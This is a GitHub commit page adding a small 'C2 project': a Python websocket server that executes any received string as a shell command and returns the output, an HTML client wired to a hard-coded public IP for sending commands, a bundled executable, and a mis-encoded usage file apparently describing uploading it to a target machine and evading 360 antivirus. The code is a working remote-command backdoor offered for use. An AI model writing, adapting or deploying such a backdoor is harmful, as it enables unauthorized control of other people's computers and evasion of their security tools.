Skip to content

Commit 173d504

Browse files
authored
Add files via upload
1 parent 1a5e439 commit 173d504

4 files changed

Lines changed: 67 additions & 0 deletions

File tree

c2项目/demo.exe

6.09 MB
Binary file not shown.

c2项目/demo.py

Lines changed: 17 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,17 @@
1+
import asyncio
2+
import websockets
3+
import os
4+
import sys
5+
async def hello(websocket,path):
6+
try:
7+
while True:
8+
name = await websocket.recv()
9+
zx=os.popen(name)
10+
await websocket.send(zx.read())
11+
except Exception as r:
12+
print('[-] Error {}'.format(r))
13+
14+
15+
start_server=websockets.serve(hello,'{}'.format(sys.argv[1]),sys.argv[2])
16+
asyncio.get_event_loop().run_until_complete(start_server)
17+
asyncio.get_event_loop().run_forever()

c2项目/gc.html

Lines changed: 45 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,45 @@
1+
<html>
2+
<head>
3+
<meta charset="UTF-8">
4+
<title>Web sockets test</title>
5+
<script src="jquery-min.js" type="text/javascript"></script>
6+
<script type="text/javascript">
7+
var ws;
8+
function ToggleConnectionClicked() {
9+
try {
10+
ws = new WebSocket("ws://203.195.162.207:8000");//连接服务器
11+
ws.onopen = function(event){alert("已经与服务器建立了连接\r\n当前连接状态:"+this.readyState);};
12+
ws.onmessage = function(event){alert("接收到服务器发送的数据:\r\n"+event.data);};
13+
ws.onclose = function(event){alert("已经与服务器断开连接\r\n当前连接状态:"+this.readyState);};
14+
ws.onerror = function(event){alert("WebSocket异常!");};
15+
} catch (ex) {
16+
alert(ex.message);
17+
}
18+
};
19+
20+
function SendData() {
21+
try{
22+
var content = document.getElementById("content").value;
23+
if(content){
24+
ws.send(content);
25+
}
26+
27+
}catch(ex){
28+
alert(ex.message);
29+
}
30+
};
31+
32+
function seestate(){
33+
alert(ws.readyState);
34+
}
35+
36+
</script>
37+
</head>
38+
<body>
39+
<button id='ToggleConnection' type="button" onclick='ToggleConnectionClicked();'>连接服务器</button><br /><br />
40+
<textarea id="content" ></textarea>
41+
<button id='ToggleConnection' type="button" onclick='SendData();'>发送我的名字:beston</button><br /><br />
42+
<button id='ToggleConnection' type="button" onclick='seestate();'>查看状态</button><br /><br />
43+
44+
</body>
45+
</html>

c2项目/使用方法.txt

Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,5 @@
1+
�޸�gc.html��websocket���ӵ�ַ
2+
Ȼ�󽫽ű���exe�ϴ���Ŀ����������У��÷���demo.exe IP port or demo.py IP port
3+
Ȼ���ڱ��ش�gc.html���ӷ�����ִ�������
4+
5+
���ɹ�360��

0 commit comments

Comments
 (0)